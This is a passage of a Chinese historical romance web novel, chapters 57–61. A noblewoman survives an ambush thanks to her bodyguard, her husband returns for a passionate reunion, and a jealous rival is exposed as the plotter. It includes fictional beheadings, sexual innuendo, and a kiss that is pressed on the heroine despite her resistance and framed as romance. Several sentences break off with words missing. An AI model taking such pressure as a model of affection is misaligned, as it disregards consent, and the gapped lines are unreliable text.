“我呸,等你做了还来得及!”
齐娘刀刃抵着他的脖颈,另一只手搜出了他身下藏着的长刀,把刀往车内一扔,齐娘骂了声脏,“夫人给你那么高的月钱,是你背主的!”
“小的不敢,小的不敢,夫人小的带刀子是为了保护你,小的又不会拳脚,觉着带把刀能威吓宵小……”
“放你爹的狗屁!”
见马夫吓得他松了缰绳,齐娘皱眉拉住缰绳让车停下。
马夫的表现实在不像什么有手段的刺客,齐娘厉声道:“你说你带刀只是防身,那让你驾车回府,你这是要往哪里去?”
宓瑶露头一看,周围的景色陌生路道狭窄,入目处都是茂密的大树,不见人影也没有房屋建筑,她甚至不知道她们现在是不是还在益州城内。
但就算不在城内离城也不会太远,她没有彻底睡着,一路上半梦半醒,能感觉到马车没走多久齐娘就察觉到了不对。
“我走错路……”
马夫颤抖地想要糊弄过去,才说几个字,就感觉脖颈的皮肉被划破,他哪里知道宓瑶身边多了齐娘那么一个煞神,“我说我说,是江宁郡王让我把夫人带过来,他要带着夫人私奔。”
齐娘看向宓瑶,方才在城墙上,她注意到了那个俊美男人的确多看了宓瑶几眼。
若说宓瑶想跟那个男子私奔也不是不可能,毕竟那男人模样看着比镇使讨喜多了。
“不可能,回转。”
宓瑶的话落音,齐娘一拳狠狠地敲到了马夫的脖颈上,把人敲晕后捡起了缰绳驾马要走,不过还未回转,就见树林中赶来了七八个蒙着面的男子。
几人见车夫被打晕,但拿刀的是个女人,骂了声车夫孬货,连两个女人都制不住,拿着长刀齐齐朝齐娘攻了上来。
“夫人放心,这些人都没什么本事,三脚猫功夫罢了。”
几人起势,齐娘就看出了几人不行。
上前直接夺过了一人的长刀,齐娘抬手一抛插透了持刀人的脖颈。
见齐娘应付他们绰绰有余,宓瑶原本想抛出金银让几人反水,话锋一转,冷声道:“活口留一个就够了。”
先是齐娘手起刀落要了一人姓名,再加上宓瑶的吩咐,几人吓得更是乱了阵脚,隐隐有了退意。
“妈的,不是说就两个女人!”
其中一人见齐娘像是切瓜般又砍掉一人脑袋,而他自己差点被齐娘削去手臂,不由双腿发抖地大骂道。
闻言,宓瑶猜想这几人可能不知道她的底细,开口道:“我相公是萧欻,是节度使的养子,买我命的人可告诉你们我的身份?”
她说完剩下的几人更乱,显然不知道他们要杀的是萧欻那个阎王的夫人。
几人知道宓瑶招惹不起,加上有齐娘这个砍人如切瓜的女人在此,几人扔刀就跑没了再战的意思。
就在此时一箭从林中射出,擦着宓瑶发丝落在了车壁上。
*
唐檀邑收到信时刚出城不远,听到有人传信宓瑶要与他私奔,他看了眼前方的萧欻,犹疑片刻,找了个东西落下要返程拿取的借口,倒回了益州。
他赶到树林便嗅到了浓郁的血腥,幸好往血味重的地方行进,地上只见几个男人的尸体,不见宓瑶。
“虞娘子,我是唐檀邑,你没事吧?”
唐檀邑不确定宓瑶还在此处,一边命令属下搜寻,一边大声呼唤。
“夫人,不会真是这个郡王派人抓你私奔吧?”
齐娘朝宓瑶说道,“虽然长得不错,但这手段实在太蠢,夫人你可别被他的皮相迷惑,这种蠢人还不如镇使。”
两人遇袭后,齐娘弄死了射箭那人,却没保住马车。
马屁股挨了箭不愿行走,她们没了代步工具,才辨别了方向准备走回城内,就听到马蹄声由远至近,紧接着就是唐檀邑的声音响起。
两人躲在树林中,齐娘见唐檀邑的属下要发现她们,干脆开口说话。
“郡王没那么蠢也没那么坏。”
宓瑶语调镇定,神色却还有些恍惚。
毕竟亲眼看到鲜血喷溅,人头落地不是什么有趣的事情。
她如今庆幸她未曾让身边人宣扬齐娘会武,外人觉得她是从带一群人出门,到只带齐娘一个,以为要她性命简单至极,却没想到齐娘一个人就能顶十几个。
今日若不是齐娘在身边,她大约会被射成马蜂窝。
第58章 第五十八章【VIP】
“劳烦郡王派人帮我们送个信,让萧府部曲来此处接人。”
宓瑶眼里还有惊魂未定的波光,唐檀邑不禁怜惜,觉着是他害了宓瑶。
“我不愿给你带来麻烦,最后还是让你受了牵连。设计你我那人应该是想破坏赵公和江宁的联盟,所以把你带到这儿,又给我送信骗我回转。”
见到宓瑶,唐檀邑脑海闪过就此把她带走的想法。
但想想便觉得不可能。
既然是有人埋伏设计,就不会是好心专为他做嫁裳,只会是刻意设计他与宓瑶,让萧欻震怒,耽误江宁的正事。
所以现在依然不是什么好机会。
吩咐了随从去城内叫人,唐檀邑打量周围,猜测那人是不是也给萧欻送了信,让萧欻过来“抓奸”。
“幸好萧镇使爱护娘子,给娘子身边配了好手,要不然今日娘子要是出事,我就是万死也不足以赔罪。”
唐檀邑目光触到宓瑶鬓边散落的碎发,稍作假设就能猜到宓瑶遭受了什么样的危险,面上不由浮现愧疚与恼怒。
今日这陷阱,若是他来之前宓瑶已经死了,那便是他强掳宓瑶不成,恼羞成怒残害萧欻的夫人,若是他动了歪心,把宓瑶带走同样也讨不到好。
所幸宓瑶够幸运,他也是个足够理智的人。
面对唐檀邑的安抚,宓瑶没有回话,只是福了福身,与齐娘坐到了一旁休歇。
今天这事回想起来,可能跟唐檀邑有些关系,但他却不会是主因。
因为埋伏的那几人明显就没受过什么专业训练,不过是一些平日拿着棍棒打架闹事的地痞流氓。
用齐娘的话说那些人连刀都不怎么会使,一看就是不入流的混混。
若是冲着唐檀邑和益州的合作来,就不会找那么群没用的东西。
可之后的弓箭手却有几分难缠,她与齐娘躲在车内,靠着车壁遮挡找到了那人的位置,那人被齐娘发现位置后,二话没说选择自尽,素质跟之前那几人完全不同。
所以说要她命的可能有两批人,一批是单纯要她的命,另一批则是除了要她的命,还想让唐檀邑跟着倒霉。
也不止是唐檀邑,在旁人眼中萧欻能为她杀常旋克,自然也能为她杀了唐檀邑,而唐檀邑与常旋克不同,萧欻若是动手,赵天赫自然会对他失望。
想着宓瑶突然觉着自己越来越厉害,不知不觉就成了局势的关键,像是死了她一个就能天下大乱似的。
濮青他们来得比宓瑶想象的快,濮青到后见宓瑶没事,大松了一口气,下一刻便跪在她跟前请罪。
“属下来迟,还请夫人恕罪。”
“能来就比没来好。”
她在等待的过程中还想最近她惹萧欻惹的厉害,萧欻会不会吩咐属下让她死了就死了别管她。
现在看来她又用最坏的恶意去揣摩萧欻了。
“劳烦郡王帮我叫人,郡王快走吧,若是赶不上大部队耽误了正事就不好了。”
上新马车前宓瑶朝唐檀邑说道,“至于今日意外辛苦郡王给我夫君提一嘴,免得我差点出事他都不晓得。”
唐檀邑应下,翻身上马前他深深看了宓瑶片刻:“虞娘子保重,我信我们往后还会再见。”
宓瑶听出他话里蕴含深意,目光追过去时,他已经转身离开。
还会再见?
说的像是这次私奔不成,下次要想法子制造一场能成功的私奔一样。
“夫人,可要属下派人送信。”
听到宓瑶让唐檀邑帮忙带话,濮青怕不靠谱提议道。
“自然要送信,与你主子说我命悬一线,差点没气,若是他把我放在心上,为我挡风遮雨,我也不会受这样的罪,对了,平日这时候我在府邸躺着睡觉,今日不是为了送他那会遇到这种危险。”
宓瑶把方才的恐惧全都转化成了对萧欻的愤怒,“你替我告诉他,我受了那么大的罪,他要是没有难眠个几夜,他就是个没心没肺的混球!”
濮青:……
他就不该多那句嘴。
“夫人请上马车,小的这就去派人传话。”
濮青说完看向其他侍卫,但触到他的目光,几人纷纷低头躲避,都不愿当这个触霉头的传话人。
所幸他们也不用跑这一趟,骏马长嘶,一道黑影如闪电般跳入车内,几人抽刀准备动手,听到了熟悉的嗓音响起。
“是我。”
“参见镇使。”
濮青几人慌忙收到,言语问都有几分惊喜,夫人说的那些好。
“帮我牵马,我进城一趟,几个时辰后再重新上路。”
萧欻弯腰站在宓瑶面前,说完坐下,看向在旁看戏看得津津有味的齐娘,“出去。”
闻言,齐娘撇嘴,看向宓瑶
“不需。”
宓瑶淡声回复,齐娘得“镇使,夫人说我不必出去。”
的宓瑶,俯身朝她靠去,在她的茫然惊讶中吻住了她的唇。
他本打算只是吓吓她,但沾了她的气味,他便有些上瘾,吮了两下才松开。
嘴是松开了,但距离却没拉远,他盯着她满是惊悚的杏眸:“现在让她出去吗?”
说完,他头一歪,潮热的吻落在了她的耳畔。
感觉到萧欻的亲吻,宓瑶的想法除了他疯了还是他疯了。
“夫人要不要我把他打出去?!”
齐娘脸红心跳,马车狭窄塞她和宓瑶恰恰好,加上一个萧欻就勉强了,所以她等于近距离地感受新主人和旧主的床笫之欢,连他们俩亲热的味道她感觉她都能闻得到。
还真是太刺激了!
之前她还想萧欻平日吃的有多好,没想到才多久一会就能亲眼看到,她不由觉得她这份工干得太值。
“你出去等我。”
触到齐娘发光的眼睛,宓瑶恶狠狠地锤了萧欻一记,不知道他是发什么情,她还没反应过来他的吻已经落到了她的领口,发癫的架势像是要当着别人的面开搞。
推开萧欻,宓瑶趴在他身上就张嘴开始咬,只是萧欻的反应让她觉得他是牛子入脑。
他手搭在了她的头上抚摸,喉问时不时发出一声沙哑闷哼。
听到他的喘息,宓瑶都觉得她不是用牙齿在撕咬他,而是把咬字拆开,在干其他的勾当。
原本她是打算给他留下一个深可见骨的咬痕,但听到他这个声音,她牙酸怕真让他爽到,只能松开嘴狠狠地瞪向他。
“你被下春/药了?”
要不然她不知道怎么解释他这幅欲求不满的色狗样。
“唐檀邑转回益州,我想他回城应该与你有关,所以我跟在他身后倒回。”
见宓瑶咬够了,萧欻坐正开口道,“我是与他一同见到的你。”
听到他的话,宓瑶怔了怔,不懂他是什么意思。
所以说他跟唐檀邑一起到的树林,却没有出现,而是躲在隐蔽处,看她和唐檀邑有没有什么私情?
“与你想的不同。”
仿佛猜到宓瑶在想什么,萧欻开口解释,只是他说一句,就被宓瑶嫣红水润的唇瓣吸引,指腹抹过她嘴上水泽,喉结滚动,在她诱人的唇上又吻了一下,宓瑶的拳头怼到了脸上,才继续道,“我知晓你不想见我,我见你也说不出让你高兴的话,所以见你没事我就干脆避开,打算没回这一趟。”
“那你现在出现又是什么意思?”
“就如那日在街口一样,知晓你我都说不出让彼此听得入耳的话,但依然控制不住去而复返。”
沉在眼底的灼热随着萧欻的话慢慢涌上,狭长的凤眸依然深邃,却多一种浓烈难以说清的情绪。
宓瑶想跟他拉开距离,但她一动就被萧欻往怀里重重一压。
“我要喘不过气了!”
他的胸膛硬如铁块,被他按在怀里本来就不舒服,他的双臂还越收越紧,宓瑶觉得她的骨头都要被他抱碎了。
萧欻放松了手臂,但却没有完全松开她。
他嘴巴微动,对着气流无声地叫了声“嫮嫮”。
看到林中的血腥,他无法再否认他的心思,就是因为清楚他才想逃避,但有时逃避比面对更难。
他的那些心思她知晓的比他还清楚,既是这样何妨让她胜的更加彻底。
“若是我不回来,我怕我会后悔,我不问你为何不想有孕,但我本就不喜欢孩子,所以这一点上我们恰好相合,避子的汤药你不必再服,我问过姜老,他说有男子用的汤药,到时我吃就好。”
萧欻磁性的嗓音越来越低沉,宓瑶因为他的话正在怔愣,思索着他的话是什么意思,就感觉到自己的耳朵又被笼进一片潮热。
绵密的吻一直从耳后连绵到唇上,宓瑶想反抗,她越反抗萧欻就吻的越深,像是一团越烧越旺的火,宓瑶只能选择与他一同沉沦,或者被他燃烧殆尽。
黏腻的水泽声充斥耳膜,宓瑶几次想说话都被萧欻深吻打断。
占有欲十足的掠夺让她真的很想扯着萧欻的耳朵让他清醒一点。
他们两个人现在的状况,最多算是他表白了,但她没有接受啊!!!
这玩意吻的不知天地为何物,不会觉得他们俩现在是情投意合要走上大团圆结局了吧?
萧欻的湿唇把宓瑶骂的一声声艹都吞进了腹中,等到马车在萧府二门停下,他直接把她抱起一路疾驰到了正房。
好不容易能接触新鲜气流在平复呼吸的宓瑶:……
谁来为她发声!
第59章 第五十九章【VIP】
等到萧欻一脸餍足地从正房离开,宓瑶已经累到连骂人都没力气骂了。
谁能想到呢?
她以为他要跟她掏心窝子,他掏的却是裤/裆子。
不管府邸其他人的目光,把她抱下马车就直冲冲的往正房走。
一到正房就大门紧闭,摇天动地,生怕旁人怀疑她的魅力,能让他都离开益州城了,还特意折返要一亲芳泽才能安心上路。
“夫人,镇使说他去节度府了。”
嫌正房味重,宓瑶甚至没有让侍女立刻收拾,而是把门窗打开透风,她则是靠在诗雅怀里,让她扶着她去她的房里。
若是可以她也不想让人扶,实在是腿抬的太高太久,像是泡了醋的软脚螃蟹,自个走的话实在难看。
“我没问。”
宓瑶既不想知道萧欻的去向,也不想听到有关于他的称呼。
“是镇使出门之前命令奴婢要告诉夫人。”
诗雅小心翼翼地道。
说完把宓瑶扶到榻上,移了紫檀木海棠如意纹凭几做她的腰靠,才继续:“要不然奴婢去请姜大夫给夫人看看?镇使也太孟浪了,夫人如此娇弱,他怎么能这般。”
主子们的房事,最有数的就是她们这些在身边伺候的下人。
往常萧欻精力旺盛,不是没有过从夜里一直到天明,但动静都不大。
而这次她们脚都快挪到了院门外面,依然面红心跳,担忧架子床会被折腾塌了。
宓瑶本想说不用,但想到萧欻在马车上跟她提及的吃药,日子好过能长命百岁她自然不愿意早衰。
点头道:“那就请姜大夫过来一趟。”
说完,她低眸检查了一遍自个衣裳,确定了自己身上没什么奇怪地方。
她真不明白萧欻的体力是从哪里来的,大家都是吃同样的五谷杂粮,只有数量上的差别。
之前在画舫上萧欻能抱着她动作,她就已经觉得他的臂力惊人,这次他先是压着她在门上,之后她半躺在贵妃榻上,他则是保持站立的姿势。
反正现在回想过来,几个时辰过去他基本没躺下的时候,唯一一次他让她坐在他身上,他也是同样坐立,也不知道他这样发力腰部会不会磨损,老了会不会腰问盘凸出。
光想萧欻腰的问题,等到姜大夫进门,宓瑶瞧着他道:“镇使与我说,他跟大夫谈了他的腰。”
话说出口,宓瑶一时还没反应过来是怎么回事,就见姜大夫抚着胡须,老神在在道:
“夫人放心,镇使发黑目明,尺脉沉而有力,肾脉独显洪滑,可说是天赋异禀,夫人无须有这方面的担忧,倒是夫人麝香丸服用的太多,本身麝香这味主药对身体产生的影响不大,但为了让麝香从内往外散出香气的配药太烈,反倒伤脾伤肾。”
宓瑶:……
她就是被萧欻颠迷糊了,脑浆混成了浆糊,才会把换药的事说成了肾。
沉默了片刻,宓瑶怕姜大夫下一刻就指着她的脸,说她现在这个模样就是肾亏,立即开口道:“镇使与我说过麝香丸伤身,我不打算再服,他说姜大夫这里有其他可以替代,由他服用的汤药?”
萧欻说这事的时候说的真诚,但谁知道他说真的,还是为了哄她听话编的谎。
如果不问清楚,她怕她哪天肚子大起来,她还以为自个是吃多了吃胖了。
“镇使问过老夫此事,也嘱咐了老夫寻觅药材制药,镇使身体康健服药的危害的确比夫人要低许多,不过是药三分毒,药方喝个几年就差不多了,若是夫人与镇使到时候还是不想要子嗣,最好是别再同房。”
宓瑶默然。
不同房她没什么问题,明显是萧欻那儿不行。
反正能混几年是几年,到那时萧欻腻了也说不定,毕竟动来动去都是重复性的动作,如今她看到他那条巨蟒都没之前那么害怕。
还有闲心多看两眼辨别模样,并且给出极丑的判断。
确定了萧欻真有找避孕的汤药,宓瑶没与姜大夫再多说什么,姜大夫也没提给她把脉,只是走时给诗雅拿了几样外用的消肿药膏,交代了使用的先后顺序。
看着一桌子的瓶瓶罐罐,其中有一大罐听姜大夫的暗示,还是用于润滑作用,宓瑶默默咬住了软衾,就当她是在咬萧欻。
这些东西不止让她觉得尴尬丢人,还觉得不吉利,她默认萧欻开,但姜大夫给这东西,就像枪,不让架子床散架就不走了。
幸好宓瑶没倒霉到这份上,上完药她便睡了,半梦半,说什么让她等他回来。
原本以为是做了噩梦,等到吃饭的时候甄婧提了一句,宓瑶才晓得萧欻去完节度府后还真回来了一趟。
“江宁那边不好耽搁,后,就把事情交给了我,还特意跟我交代,若是你自己主动要出力,就让,若是你受惊后不愿耗费精力,就让我。”
作为哥,因为萧欻嘱咐这话,虞少阳都佩服起萧欻的周到。
怕宓瑶觉着他一走了之,把事情都扔给了她,所以交代她可以不管,但又怕她觉得他霸道,她的生死大事都是由别人来调查,所以也说了她可以管。
“你私下里到底是与妹夫如何相处?我怎么觉着他惧你惧得很,就怕怎么做你都不满意。”
“这是惧我?他不过多交代阿兄你几句话,就能让阿兄觉得他楚楚可怜,我是欺压他的恶霸,他哪里是惧我,分明是聪明过分,晓得怎么让人觉得他是好人,我是恶人。”
宓瑶的愤怒没有引起虞少阳的重视,反而让他哈哈大笑起来。
被甄婧洗脑的次数多了,如今虞少阳也觉得妹妹和妹夫关系好的不得了,只觉得宓瑶这是在开玩笑。
“嫮嫮怎么会是恶人,再者萧欻无论如何说,他那个魁梧的身形都跟楚楚可怜挨不上边。”
“怎么就挨不上边了?”
她算是发现了,人就不要经常示弱,她以往经常装可怜,如今真委屈了旁人也觉得她是闹着玩,但萧欻平日里没一句好话,如今多说几句话,人人都觉得他情根深种,是个好男人。
他才不是什么好男人。
他就是个自说自话,不重视她的意见,半遮半掩地表达完自己的情绪,就像是发热期到了的野狗,牛子冲天,伸着舌头兴奋地“呼哧呼哧”喘气,把她从头到尾都舔了一遍。
哦,有几次还控制不住情绪,咬了几下,她走路像螃蟹其中一个原因就是他留了个咬痕在她腿心边上。
那么看来她之前咬他手掌那一下算个什么。
“我是不懂了,你们到底是好还是不好?”
虞少阳扣了扣脑袋,觉得妹妹脸上的恼怒不是作伪,但萧欻走之前流露的不舍,也像是真情流露。
“妹妹与妹夫夫妻俩的事你掺和进去当什么判官公!”
甄婧拍下了虞少阳的手,“你说我这会又是打你,又是嫌你蠢,那我跟你是好还是不好?”
虞少阳:……
怎么就关上他的事了?
触见虞少阳无辜神情,宓瑶笑出了声,果真讨厌一个男人的时候,看别的男人惨同样可以消气。
“马夫那儿审问出了什么?我记得没错的话,他应该是我与萧欻成亲后才买入府的下人。”
萧府的仆人太少,她拿到管家权后采买了不少下人进府。
这批人她特意先送到濮青那边检查过一道,怕留下什么探子,没想到还是有一条漏网之鱼。
说到正事,虞少阳面色同样正经了起来:“孙大好赌,以前只是在府里与其他下人玩两把,慢慢手里银子多了,府中下人不愿跟他再赌,他便跑上了外头的赌桌,给了别人设套的机会。”
给赌徒设套简单不过,先是让他赢再让他输,输到绝望时再给他一个机会,这时候他知道若是把一切告诉主子,主子也饶不了他烂赌,还不如拼一把背主拿赏钱,说不定能逆天改命。
“他供出了一个接头人,那人是他赌钱时认识,应该也是为旁人做事的下属。除了孙大之外,那几个逃跑的打手,濮青找他们时,他们已经统统被灭口,倒是齐娘砍了一只胳膊,以为死了的那个还有一口气在。”
虞少阳继续道,“与孙大是同一个接头人,濮青已经根据他们拼凑出的画像全益州城的去寻人。”
只要能找到人,哪怕是尸首,都能根据那人身边遗留的信息摸到最终凶手。
闻言,宓瑶把自己猜测的动手应该是两批人说了。
“能找来弓箭手的,定然不会找那几个地痞流氓滥竽充数,而只找一个弩手,应该是怕派来的人太多,留下痕迹被人发现。”
这两批人的背后主子唯一没想到的,就是她身边多了一个会武的齐娘。
这一点上可以给萧欻记个半功,若是他没有送齐娘到她身边,光是靠她身边的侍女婆子,这一遭她铁定没命。
但仔细想想,若是没有齐娘,她深知她的嘴巴抹了毒,以防在外面被人套麻袋,每次出门都会带一堆人出门。
带的人是一堆的情况下,有婆子看着马夫,马夫也没本事把马车驾离原本路线。
再者这两批人追根究底起来,都是因为萧欻才对她下手。
所以得扣萧欻一个功,这般算来萧欻还倒欠她半个功。
她没什么可感谢他的,反而是他亏欠她良多。
“人分两批,又是灭口又是自尽,弄得神秘兮兮,但仔细想想能对我下手的也就那么几个。”
给唐檀邑送信的人不管是第一批还是第二批人都不重要,反正就是想让祸水东引,转移视线。
收买马夫与找地痞的是想要她命,是极其恨她的人,而那个弩手则是不满萧欻,想把事情闹大当黄雀在后的补刀人。
“我惹的人不少,但能恨我恨到这样,不是赵五郎他爹娘,就是潘氏,至于那个弩手后面的人,想想应该还是赵家人,或是萧欻那些养兄们。”
她想过会不会是常贵妃为胞弟报仇,派人来取她性命。
但后面想想就不可能,贵妃派杀手的话,就不会那么怕被人发现,为了保险只会派一群而不是派一个。
“想来想去潘氏都最可疑,她这个人仿佛脑子有问题。”
论起冲突她跟潘氏起的并不多,大多都是潘氏自个在现眼,而她看戏看得兴起插几句话。
但每次潘氏看她的眼神,都让她觉得莫名其妙。
不是那种纯粹的厌恶,而是仿佛她什么都知晓,用一种胜券在握的目光从上往下俯视她。
再回想潘氏追着萧欻,硬逼着萧欻承认对她有情,还有在场面难看后,潘氏还能装作无事的出现在她面前。
宓瑶朝虞少阳道:“就以潘氏和赵家四房为中心的查吧,不是说赵五他娘因为儿子被流放如今已经半疯,那就想办法往她嘴里套套话,应该能省不少事。”
虞少阳听完,面露惊叹:“嫮嫮如今越来越有当家夫人的架势了,你放心阿兄这就去办,若是节度使护着潘氏,我就是撕破面皮,也要为你讨回公道。”
“不必撕破面皮。”
宓瑶安抚道,她若是没想错,萧欻走之前去的那趟节度府,就是给赵天赫做心理准备。
萧欻虽然是只色狗,但也是只靠谱的色狗*。
第60章 第六十章【VIP】
萧欻的好心情只要见着他的人就能感觉到。
他没有露出多夸张的神情,甚至是面无表情,但就是让人觉得他与平时不同,余光里他的嘴角随时都是扬起,但正眼去看薄唇又是正常的弧度。
来回那么几次,不少人都怀疑自个疯了,想什么不好,光臆想萧欻在对他们笑。
这其中最受影响的是唐檀邑。
同为男人,又同是心悦同一个女人的男人,唐檀邑怎么可能察觉不到萧欻在暗爽。
联想到萧欻比他更晚回归队伍,明显是在他返回益州后就紧接着返回,并且还在益州多待了几个时辰,唐檀邑光是喘气都觉得心肝脾肺肾抽痛。
他本以为贼人设下的陷阱再拙劣,萧欻理智不信,情感上也会多想几分,因为他这个外男对宓瑶心存芥蒂。
谁想到别说芥蒂,萧欻回转城内后似乎跟宓瑶互通了心意,整个人宛若身处花海之中,面上的冰霜只剩了一层假罩子,内里百花齐放,让人看了就牙根痒痒。
“镇使,你瞧瞧人都被你暗爽给气跑了。”
听到唐檀邑借口先行回江宁处理事务,赵德嘿嘿地朝萧欻调侃道。
他当了萧欻那么多年的属下,两人同生共死那么多次,旁人觉得自己是眼花看错了萧欻面上的表情,他却知道萧欻是真的与以往不同,明显是老房子着火,铁树开花。
至于萧欻无时无刻都在暗爽,在暗爽什么,就只有萧欻和那位虞夫人才知晓了。
“他本该先走,不若还想我们去打先锋?”
萧欻淡淡道,就是唐檀邑今日不走,之后几日他也会磨到唐檀邑受不了先走为止。
剑南与江宁结盟,只是帮江宁一把不被淮南节度使吞并罢了,至于这个帮,他与父君的想法都只是站在身后为江宁军壮声势,而不是当马前卒去给江宁拼命。
如果江宁弱到需要他们一手包办,他们也不是不可以冲在前方,只是那般江宁就该改姓剑南。
“镇使说的没错,唐檀邑那小子想的太美,又是觊觎夫人,又是想让我们替他卖命,哪有那么好的事。”
赵德应和了句,立刻接着道,“镇使来之前夫人与镇使说了什么,可是说了那个姓唐的就是狗屎,她心中只有镇使?”
萧欻睨了眼满脸好奇的赵德,凤眸摄人蕴着冷意。
“你问的太多。”
说完大约是需要人来分享他此时的心情,顿了片刻他接着道,“她没有把姓唐的当狗屎,而是眼中没有他这人。”
那日他在路上气闷先走,表面是因为不想听宓瑶啰嗦,后头想了想,他是厌恶宓瑶对唐檀邑的不同。
在他的认知当中,宓瑶除却对她没有恶意的女子有几分好脸,其他人她一律说不出好听话。
特别是对她表现出好感的男子,她更是没有好脸。
就连他,在她感知到他对她有欢喜萌生,态度就越发恶劣起来。
这种情况下,她对长相俊美的唐檀邑客气以待,让他不由多想。
到如今他依然没从宓瑶的嘴里问出她为何唐檀邑好言好语,但那日在树林,他看到濮青没来时,她不接唐檀邑的话,还戒备地与他保持了距离,这样他便觉得足够。
若是没有结缡这层关系,他对宓瑶并不特别,但也没有其他男人对她特别。
“还记得镇使刚开始对夫人无所谓的态度,男人啊!”
赵德啧啧有声,他还以为萧欻会与寻常男人不同,没见到也过不了美人关。
但对象是虞氏那个大美人,谁又有过得了。
想着他瞄了眼萧欻的胯,心中默想大美人受苦了。
“她是我明媒正娶的夫人,我何曾觉得她无所谓,你莫胡言乱语。”
萧欻冷冷瞟了赵德一眼,充分展现什么叫做只认老婆,不认其他的狗男人德性。
*
“娘子,相使请你去正厅。”
唤人的侍女福了福身,说完便让到了一侧,但站在屋内的潘氏却迟迟不动。
知道宓瑶没死后,潘氏每时每刻都被焦躁笼罩,如今悬着的靴子终于落下,她没有松一口气,反而脸色惨白,满头大汗。
“娘子?”
侍女见潘氏没动,疑惑地又唤了一声。
“父君叫我有何事?正厅除了父君还有其他人吗?”
“奴婢不知。”
“蠢货,
潘氏怒吼,见她厉害,依然没憋出个屁来,她火气上涌,接连打了侍女几下,想
“潘娘子怎么还不过去?”
赵人,一到就见潘氏的房门大开,侍女满脸泪水被推倒在地,而。
“,难不成是她鼓吹你犯错?”
倏然见到赵天赫的心腹,潘氏正在转变神色,闻言脸上就是一僵:“赵叔是什么意思?我犯了什么错?”
“潘娘子有没有犯错自个晓得,若是潘娘子觉得自个没错,就快些去跟赵公解释吧,免得让赵公久等,觉着潘娘子是真的犯了大错就不好了。”
赵训面色冷淡,不复平日的温和模样,这般更让潘氏觉得惴惴不安。
“不知道父君误会了什么,但我平日里连杀鸡都不敢看怎么可能犯下什么大错,赵叔别急,我这就跟你过去。”
潘氏僵硬地笑了笑,一边走一边回想自己暗杀宓瑶的事有没有漏洞。
在她看来是没有的。
她指挥接触萧家马夫和流氓地痞的人,并不是她现在身边的下人,而是上辈子忠心于她,最后为她挡刀死在她前头的家奴。
重生后她就在偷偷的接触这人,打算把他布置成她的一步暗棋。
若非太想让宓瑶在这世上消失,她不会动用那人。
按着常理来说,没人会把那人跟她联系到一起,就寻到蛛丝马迹,那人也不会出卖她。
那么一想潘氏就安下了心,只是她这个安心等到了正厅,看到宓瑶与她收买的男人,就软了一半的身体。
“见过父君,九嫂嫂来看父君?”
潘氏笑容满面,想要当做看不到跪在厅中的男人,但宓瑶却懒得与她兜圈子。
她不知道赵天赫是上年纪了睡不着还是如何,一大早就派人去叫她,她闭着眼套好了衣裳,又半掀着眼皮被齐娘扶上马车。
现在她觉着赵天赫这个身有顽疾的看着气色都比她好。
“虚伪的问好就不必了,潘娘子,如今这个情况就是你派人暗杀我,但我没死现在来找你算账,若是你其他同伙,或是知道信息可以报出来,根据你情报的价值,可以减轻对你的责罚。”
赵天赫把她叫来,让她处理这事,她就按着自己的法子处理了。
对上潘氏强装镇定的眼眸,宓瑶继续,“干脆一点别浪费时辰编造借口了,我人在这里,父君在这里,你手下的人在这里,一切都十分明了了,你此时再辩解,只是浪费我们彼此的口水,让父君对你更失望。”
听到宓瑶提到赵天赫,潘氏身体更僵,她甚至不敢抬头去看中堂上正坐的赵天赫。
她不怕宓瑶,因为有赵天赫在,她永远都是赵家的养女,没人敢对她做什么,但若是赵天赫不护着她,别说宓瑶,就是她前婆婆马阿婆都能让她好看。
“九嫂说的话我一点都听不懂,我并不认识这人,更不会派人暗杀九嫂,我知道我对九哥示好的事惹怒了九嫂,但这般要命的大事,九嫂可不能冤枉我!”
听到潘氏还是执迷不悟,宓瑶抿了口茶水,清香扑鼻,盛放茶水的青瓷茶盅,触感如冰如玉,胎质莹润,用来喝这盅白毫银针正好。
宓瑶原本只是想润唇,茶水入口后眼眸不禁发亮,朝赵天赫夸赞道:“父君这茶真好,清甜带蜜,回甘鲜爽,太适合早上饮用。”
一口茶下去,她觉得还有几分困顿的脑子都全醒了。
“喜欢就带一些回去。”
赵天赫严肃紧绷的面上多了几分笑意,不介意宓瑶突然的跑题,反而配合地说道。
“那我可不客气了。”
潘氏看着宓瑶在赵天赫面前装乖卖巧,恨得咬紧了牙齿,若是宓瑶瞧上了赵天赫就好了,她上辈子也对赵天赫起过心思。
在她看来男女之间套了成养父女关系,反倒让男人更加觉得刺激。
可惜赵天赫不知是真正经,还病的没了男人的本事,她的暗示落了空还被赵天赫疏离,幸好赵天赫死的比她还早,她才没有生出多少后悔。
她在臆想宓瑶跟赵天赫搞在一起,萧欻就是她的了,而宓瑶问完了茶,扫见她脸上的狠毒可怖,自觉离她远了点,免得等会她发疯拿她开刀。
“既然潘娘子不认,甘强你开口来说,一字一句说清楚潘娘子是如何接近你,又是如何许诺你好处,让你为她做事。”
60-70
第61章 第六十一章【VIP】
“相使,镇使夫人,小的真不明白潘娘子怎么会看上小的,小的跟着八郎君时,只是偶尔见过潘娘子一面,她对小的示好,小的还以为她是冲着八郎君去的,谁知道潘娘子却对小的言语暧昧……”
他一个家奴得了节度使养女的青睐,无疑是天上掉馅饼,自然是潘氏让他做什么他就做什么,甘强来之前已经受过拷打,知道自己露出丑态之后的下场会更惨,但还是忍不住痛哭流涕大叫冤枉。
“小的不该被美色迷惑,小的错了,求夫人从轻发落,饶了小的的小命。”
“你胡说!”
潘氏重重将甘强踢倒不许他再说下去,“明明是你爱慕我,时不时偷偷瞧我!”
上辈子她嫁给赵八郎之后,甘强总是有意无意地窥探她,最后为了她挡刀而死。
她是看他一往情深,才愿意给他这个下贱的奴仆一点甜头,谁知道在他口中就变成了刻意的勾引。
“我何曾偷看你,明明你耐不住寂寞,贪恋我强壮,偷偷看我!”
晓得自己逃不过一死,想到他那重病需要人照料的老娘,甘强受了潘氏一脚,也往她心窝子锤了一拳,“你这贱人害我,我死后化成厉鬼必然纠缠你永生永世!”
潘氏面色青白,不只因为甘强的拳脚,还因为他怨毒的诅咒。
脑海里浮现上一世他死后闭不上眼的模样,潘氏脑子混乱了起来,觉着现在的甘强就是上一世来的厉鬼,不然怎么会与上一世完全不同。
“我又不会死,你缠不了我,我不会死,我受天命眷顾,就是死了还能重来……你们这些孤魂野鬼,是你们坏了我的事,抢了我的运道!”
潘氏指向宓瑶,眼中满是憎恨,“是你夺了我运,你本就该死,我派人杀了你又如何!”
看着潘氏癫狂的模样,宓瑶觉得自己选择离她远点是十分正确的选择。
潘氏边说边往前扑,作势掐脖的手还没碰到宓瑶的衣摆,就被齐娘截住握着手腕甩到了地上。
“够了!”
